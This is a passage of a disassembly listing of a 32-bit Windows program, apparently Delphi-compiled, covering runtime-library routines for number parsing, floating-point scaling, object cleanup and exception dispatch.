		test	bl, bl
		jz	short loc_4016D3


loc_4016A6:				; CODE XREF: sub_401654+4Cj
					; sub_401654+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_4016D3
		cmp	eax, edi
		ja	short loc_4016D3
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_4016A6


loc_4016C0:				; CODE XREF: sub_401654+4Aj
		dec	ch
		jz	short loc_4016CD
		test	eax, eax
		jge	short loc_401716
		jmp	short loc_4016D3
; ---------------------------------------------------------------------------


loc_4016CA:				; CODE XREF: sub_401654+8j
					; sub_401654+95j
		inc	esi
		jmp	short loc_4016D3
; ---------------------------------------------------------------------------


loc_4016CD:				; CODE XREF: sub_401654+6Ej
		neg	eax
		jle	short loc_401716
		js	short loc_401716


loc_4016D3:				; CODE XREF: sub_401654+50j
					; sub_401654+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_401719
; ---------------------------------------------------------------------------


loc_4016D8:				; CODE XREF: sub_401654+20j
		inc	ch


loc_4016DA:				; CODE XREF: sub_401654+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4016A2
; ---------------------------------------------------------------------------


loc_4016DF:				; CODE XREF: sub_401654+2Aj
					; sub_401654+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_4016CA


loc_4016EB:				; CODE XREF: sub_401654+C0j
		cmp	bl, 61h
		jb	short loc_4016F3
		sub	bl, 20h


loc_4016F3:				; CODE XREF: sub_401654+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_401706
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_4016D3
		add	bl, 0Ah


loc_401706:				; CODE XREF: sub_401654+A5j
		cmp	eax, edi
		ja	short loc_4016D3
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_4016EB


loc_401716:				; CODE XREF: sub_401654+72j
					; sub_401654+7Bj ...
		pop	ecx
		xor	esi, esi


loc_401719:				; CODE XREF: sub_401654+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401654	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401720	proc near		; CODE XREF: sub_405E14+A5p
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		and	ecx, 0FFh
		repe cmpsb
		pop	edi
		pop	esi
		retn
sub_401720	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401734	proc near		; CODE XREF: sub_404A01+58p
		jmp	sub_40173C
sub_401734	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40173C	proc near		; CODE XREF: sub_401734j
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_401790
		jz	loc_4017DF
		cmp	eax, 1400h
		jge	loc_4017D5
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte ptr [ebx+edx*2+4017EBh]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_4017DF
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_40177D
		lea	edx, [edx+edx*4]
		fld	tbyte ptr [ebx+edx*2+401921h]
		fmulp	st(1), st


loc_40177D:				; CODE XREF: sub_40173C+33j
		shr	eax, 4
		jz	short loc_4017DF
		lea	eax, [eax+eax*4]
		fld	tbyte ptr [ebx+eax*2+4019B7h]
		fmulp	st(1), st
		jmp	short loc_4017DF
; ---------------------------------------------------------------------------


loc_401790:				; CODE XREF: sub_40173C+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_4017DD
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte ptr [ebx+edx*2+4017EBh]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_4017DF
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_4017C2
		lea	edx, [edx+edx*4]
		fld	tbyte ptr [ebx+edx*2+401921h]
		fdivp	st(1), st


loc_4017C2:				; CODE XREF: sub_40173C+78j
		shr	eax, 4
		jz	short loc_4017DF
		lea	eax, [eax+eax*4]
		fld	tbyte ptr [ebx+eax*2+4019B7h]
		fdivp	st(1), st
		jmp	short loc_4017DF
; ---------------------------------------------------------------------------


loc_4017D5:				; CODE XREF: sub_40173C+12j
		fld	tbyte ptr [ebx+4017E1h]
		jmp	short loc_4017DF
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_40173C+5Bj
		fldz


loc_4017DF:				; CODE XREF: sub_40173C+7j
					; sub_40173C+2Cj ...
		pop	ebx
		retn
sub_40173C	endp

; ---------------------------------------------------------------------------
		align 8
		dd 7FFF80h, 0
		dd 0FF800000h, 3Fh, 0
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h, 81229640h, 6F7C4045h
		dd 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h, 781F49FFh
		dd 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h, 0BA47C980h
		dd 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h,	70F78D39h
		dd 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h, 7EEBFB9Dh
		dd 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h, 842F29F2h
		dd 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h,	0C5E310AEh
		dd 5944FAC4h, 7E9B09Ch,	64F28A9Ch, 0F7F3D445h, 7A4AE1EBh
		dd 6245CF95h, 0DC0795A2h, 39B83ED8h, 0E91C746h,	19A0AEA6h
		dd 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh, 0B8353B39h
		dd 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah, 0A554C020h
		dd 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h,	5DC8A2BFh
		dd 9B6E80DDh, 28A2097h,	25C46052h, 0D559F075h, 3511626Eh
		dd 0C37BCAAEh

; =============== S U B	R O U T	I N E =======================================



sub_401A1C	proc near		; CODE XREF: sub_401D08+20p
					; sub_407AFC-5CAEp
		fninit
		wait
		fldcw	ds:word_409008
		retn
sub_401A1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A28	proc near		; CODE XREF: CODE:0040526Bp
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_401A28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A3C	proc near		; DATA XREF: CODE:0040104Co
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_401A6C
		call	sub_4011A8
		mov	edx, eax
		mov	eax, ebx
		call	sub_401A90
		pop	ebx
		retn
sub_401A3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A58	proc near		; CODE XREF: CODE:0040553Ep
					; DATA XREF: CODE:00401050o
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_401AE8
		mov	eax, ebx
		call	sub_4011C0
		pop	ebx
		retn
sub_401A58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A6C	proc near		; CODE XREF: sub_401A3C+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_401A6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A74	proc near		; DATA XREF: CODE:00401054o
		call	sub_401C14
		test	dl, dl
		jle	short locret_401A82
		call	sub_401BFC

locret_401A82:				; CODE XREF: sub_401A74+7j
		retn
sub_401A74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A84	proc near		; CODE XREF: sub_401D08+11Fj
					; CODE:00401FAFj ...
		test	eax, eax
		jz	short locret_401A8F
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_401A8F:				; CODE XREF: sub_401A84+2j
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A90	proc near		; CODE XREF: sub_401A3C+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp


loc_401AAE:				; CODE XREF: sub_401A90+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_401AB6
		push	ecx


loc_401AB6:				; CODE XREF: sub_401A90+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_401AC1
		mov	ebx, [ebx]
		jmp	short loc_401AAE
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401A90+2Bj
		cmp	esp, edx
		jz	short loc_401AE2


loc_401AC5:				; CODE XREF: sub_401A90+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4


loc_401ACB:				; CODE XREF: sub_401A90+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_401AD8
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi


loc_401AD8:				; CODE XREF: sub_401A90+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_401ACB
		cmp	esp, edx
		jnz	short loc_401AC5


loc_401AE2:				; CODE XREF: sub_401A90+33j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AE8	proc near		; CODE XREF: sub_401A58+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax


loc_401AEE:				; CODE XREF: sub_401AE8+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_401B01
		call	sub_4027F0
		mov	eax, ebx


loc_401B01:				; CODE XREF: sub_401AE8+10j
		test	esi, esi
		jnz	short loc_401AEE
		pop	esi
		pop	ebx
		retn
sub_401AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B08	proc near		; CODE XREF: CODE:00405214p
					; sub_40598C+96p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_401B1F
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_401B5C
		test	al, al
		jnz	short loc_401B24


loc_401B1F:				; CODE XREF: sub_401B08+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401B24:				; CODE XREF: sub_401B08+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_401B08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B2C	proc near		; CODE XREF: sub_401B84+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_401B32
; ---------------------------------------------------------------------------


loc_401B30:				; CODE XREF: sub_401B2C+1Fj
		mov	esi, [esi]


loc_401B32:				; CODE XREF: sub_401B2C+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_401B46
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_401B4F
		pop	ecx


loc_401B46:				; CODE XREF: sub_401B2C+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_401B30
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_401B4F:				; CODE XREF: sub_401B2C+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_401B2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B5C	proc near		; CODE XREF: sub_401B08+Ep
		jmp	short loc_401B60
; ---------------------------------------------------------------------------


loc_401B5E:				; CODE XREF: sub_401B5C+Dj
		mov	eax, [eax]


loc_401B60:				; CODE XREF: sub_401B5Cj
		cmp	eax, edx
		jz	short loc_401B6C
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_401B5E
		retn
; ---------------------------------------------------------------------------


loc_401B6C:				; CODE XREF: sub_401B5C+6j
		mov	al, 1
		retn
sub_401B5C	endp

; ---------------------------------------------------------------------------
		align 10h


loc_401B70:				; DATA XREF: CODE:00401038o
		mov	eax, 8000FFFFh
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B84	proc near		; DATA XREF: CODE:00401044o
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_401BA4
		cmp	si, 0C000h
		jnb	short loc_401BA4
		push	eax
		mov	eax, [eax]
		call	sub_401B2C
		pop	eax
		jz	short loc_401BA4
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------


loc_401BA4:				; CODE XREF: sub_401B84+7j
					; sub_401B84+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_401B84	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BAC	proc near		; CODE XREF: sub_4053AC+Ap
					; sub_4053E8+Fp ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_401BB6
		call	dword ptr [eax-0Ch]


loc_401BB6:				; CODE XREF: sub_401BAC+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_401BD5
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_401BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD5	proc near		; DATA XREF: sub_401BAC+18o
		jmp	sub_401D08
sub_401BD5	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_401BF3
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_401BFC


loc_401BF3:				; CODE XREF: CODE:00401BE3j
		call	sub_40201C
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BFC	proc near		; CODE XREF: sub_401A74+9p
					; CODE:00401BEEp
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_401BFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C04	proc near		; CODE XREF: sub_4053AC+25p
					; sub_4053E8+67p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, ebx
		pop	ebx
		retn
sub_401C04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C14	proc near		; CODE XREF: sub_401A74p
		test	dl, dl
		jg	short loc_401C19
		retn
; ---------------------------------------------------------------------------


loc_401C19:				; CODE XREF: sub_401C14+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_401C14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C24	proc near		; CODE XREF: sub_40201C+35p
		cmp	ds:byte_40900C,	1
		jbe	short locret_401C3E
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_40A014

locret_401C3E:				; CODE XREF: sub_401C24+7j
		retn
sub_401C24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C40	proc near		; CODE XREF: sub_401D08+4Dp
					; sub_407AFC-5C13p
		cmp	ds:byte_40900C,	0
		jz	short locret_401C60
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_40A014
		add	esp, 8
		pop	eax

locret_401C60:				; CODE XREF: sub_401C40+7j
		retn
sub_401C40	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401C90


loc_401C64:				; CODE XREF: sub_401C7C+Dj
					; sub_401C90+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_40A014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_401C90
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C7C	proc near		; CODE XREF: sub_407AFC-5B70p
		cmp	ds:byte_40900C,	1
		jbe	short locret_401C8E
		push	eax
		push	dword ptr [ebx+4]
		jmp	loc_401C64
; ---------------------------------------------------------------------------

locret_401C8E:				; CODE XREF: sub_401C7C+7j
		retn
sub_401C7C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C90	proc near		; CODE XREF: sub_401D08+FDp

; FUNCTION CHUNK AT 00401C64 SIZE 00000015 BYTES

		cmp	ds:byte_40900C,	1
		jbe	short locret_401CA0
		push	eax
		push	ebx
		jmp	loc_401C64
; ---------------------------------------------------------------------------

locret_401CA0:				; CODE XREF: sub_401C90+7j
		retn
sub_401C90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CA4	proc near		; CODE XREF: sub_401CC4+Cp
		test	ecx, ecx
		jz	short locret_401CC1
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_401CBC
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_401CC1
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_401CBF
; ---------------------------------------------------------------------------


loc_401CBC:				; CODE XREF: sub_401CA4+Aj
		add	ecx, 5


loc_401CBF:				; CODE XREF: sub_401CA4+16j
		add	ecx, eax

locret_401CC1:				; CODE XREF: sub_401CA4+2j
					; sub_401CA4+Fj
		retn
sub_401CA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CC4	proc near		; CODE XREF: sub_401428+BB9p
		cmp	ds:byte_40900C,	1
		jbe	short locret_401CEA
		push	eax
		push	edx
		push	ecx
		call	sub_401CA4
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_40A014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_401CEA:				; CODE XREF: sub_401CC4+7j
		retn
sub_401CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CEC	proc near		; CODE XREF: CODE:00402098p
		cmp	ds:byte_40900C,	1
		jbe	short locret_401D07
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_40A014
		pop	edx

locret_401D07:				; CODE XREF: sub_401CEC+7j
		retn
sub_401CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D08	proc near		; CODE XREF: sub_401BD5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

		mov	eax, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_401E2C
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_401D95
		cld
		call	sub_401A1C
		mov	edx, ds:dword_40A010
		test	edx, edx
		jz	loc_401E2C
		call	edx
		test	eax, eax
		jz	loc_401E2C
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_401D8C
		call	sub_401C40
		cmp	ds:byte_409010,	0
		jbe	short loc_401D8C
		cmp	ds:byte_40900C,	0
		ja	short loc_401D8C
		lea	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4010C8	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_401E2C
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]
		jmp	short loc_401DBC
; ---------------------------------------------------------------------------


loc_401D8C:				; CODE XREF: sub_401D08+4Bj
					; sub_401D08+59j ...
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]


loc_401D95:				; CODE XREF: sub_401D08+1Dj
		cmp	ds:byte_409010,	1
		jbe	short loc_401DBC
		cmp	ds:byte_40900C,	0
		ja	short loc_401DBC
		push	eax
		lea	eax, [esp+4+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_4010C8	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_401E2C


loc_401DBC:				; CODE XREF: sub_401D08+82j
					; sub_401D08+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_4]
		push	0
		push	eax
		push	offset loc_401DE0
		push	edx
		call	ds:off_40A018


loc_401DE0:				; DATA XREF: sub_401D08+CCo
		mov	edi, [esp+arg_24]
		call	sub_40308C
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_401E0C
		add	ebx, 5
		call	sub_401C90
		jmp	ebx
; ---------------------------------------------------------------------------


loc_401E0C:				; DATA XREF: sub_401D08+F3o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		call	sub_40308C
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_401A84
; ---------------------------------------------------------------------------


loc_401E2C:				; CODE XREF: sub_401D08+Bj
					; sub_401D08+2Dj ...
		mov	eax, 1
		retn
sub_401D08	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_407AFC


loc_401E34:				; CODE XREF: sub_407AFC:loc_407B44j
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_401FB4
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_401E6C
		cld
		call	sub_401A1C
		mov	edx, ds:dword_40A00C
		test	edx, edx
		jz	loc_401FB4
		call	edx
		test	eax, eax
		jnz	short loc_401E71
		jmp	loc_401FB4
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: sub_407AFC-5CB1j
		mov	eax, [eax+18h]
		mov	eax, [eax]


loc_401E71:				; CODE XREF: sub_407AFC-5C97j
		mov	edx, [esp-4+arg_4]
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ecx, [edx+4]
		mov	ebx, [ecx+5]
		lea	esi, [ecx+9]
		mov	ebp, eax


loc_401E84:				; CODE XREF: sub_407AFC-5C3Aj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401ECD
		mov	edi, ebp
		jmp	short loc_401E90
; ---------------------------------------------------------------------------


loc_401E8E:				; CODE XREF: sub_407AFC-5C40j
		mov	edi, [edi]


loc_401E90:				; CODE XREF: sub_407AFC-5C70j
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_401ECD
		mov	ecx, [eax-28h]
		cmp	ecx, [edi-28h]
		jnz	short loc_401EB5
		mov	eax, [eax-2Ch]
		mov	edx, [edi-2Ch]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_401EB5
		inc	eax
		inc	edx
		call	sub_401558
		jz	short loc_401ECD


loc_401EB5:				; CODE XREF: sub_407AFC-5C60j
					; sub_407AFC-5C52j
		mov	edi, [edi-24h]
		mov	eax, [esi]
		test	edi, edi
		jnz	short loc_401E8E
		add	esi, 8
		dec	ebx
		jnz	short loc_401E84
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	loc_401FB4
; ---------------------------------------------------------------------------


loc_401ECD:				; CODE XREF: sub_407AFC-5C74j
					; sub_407AFC-5C68j ...
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_401F20
		call	ds:dword_40A010
		mov	edx, [esp+0Ch+arg_8]
		call	sub_401C40
		cmp	ds:byte_409010,	0
		jbe	short loc_401F15
		cmp	ds:byte_40900C,	0
		ja	short loc_401F15
		lea	ecx, [esp+0Ch+var_8]
		push	eax
		push	ecx
		call	sub_4010C8	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_401FB4


loc_401F15:				; CODE XREF: sub_407AFC-5C07j
					; sub_407AFC-5BFEj
		mov	edx, eax
		mov	eax, [esp+14h]
		mov	ecx, [eax+0Ch]
		jmp	short loc_401F47
; ---------------------------------------------------------------------------


loc_401F20:				; CODE XREF: sub_407AFC-5C1Fj
		cmp	ds:byte_409010,	1
		jbe	short loc_401F47
		cmp	ds:byte_40900C,	0
		ja	short loc_401F47
		push	eax
		lea	eax, [esp+10h+var_8]
		push	edx
		push	ecx
		push	eax
		call	sub_4010C8	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_401FB4


loc_401F47:				; CODE XREF: sub_407AFC-5BDEj
					; sub_407AFC-5BD5j ...
		xor	ebx, ebx
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		or	dword ptr [eax+4], 2
		push	esi
		push	0
		push	eax
		push	offset loc_401F68
		push	edx
		call	ds:off_40A018


loc_401F68:				; DATA XREF: sub_407AFC-5BA0o
		pop	ebx
		mov	edi, [esp+30h+var_8]
		call	sub_40308C
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	dword ptr [edi+4], offset sub_401F94
		mov	eax, [esp+34h+var_2C]
		call	sub_401C7C
		jmp	dword ptr [ebx+4]
; END OF FUNCTION CHUNK	FOR sub_407AFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F94	proc near		; DATA XREF: sub_407AFC-5B7Bo
		jmp	loc_401FBC
sub_401F94	endp

; ---------------------------------------------------------------------------
		call	sub_40308C
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_401A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AFC


loc_401FB4:				; CODE XREF: sub_407AFC-5CBDj
					; sub_407AFC-5CA1j ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_407AFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401428


loc_401FBC:				; CODE XREF: sub_401428:loc_401479j
					; sub_401D08:loc_401E0Cj ...
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		test	dword ptr [eax+4], 6
		jz	short loc_401FEC
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_401FEC
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_401CC4
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_401FEC:				; CODE XREF: sub_401428+BA3j
					; DATA XREF: sub_401428+BA8o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401428
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FF4	proc near		; CODE XREF: sub_403F08+19p
					; sub_4055E4+4Bj ...
		or	eax, eax
		jnz	short loc_402002
		mov	eax, 0D8h
		call	sub_4022D8
; ---------------------------------------------------------------------------


loc_402002:				; CODE XREF: sub_401FF4+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
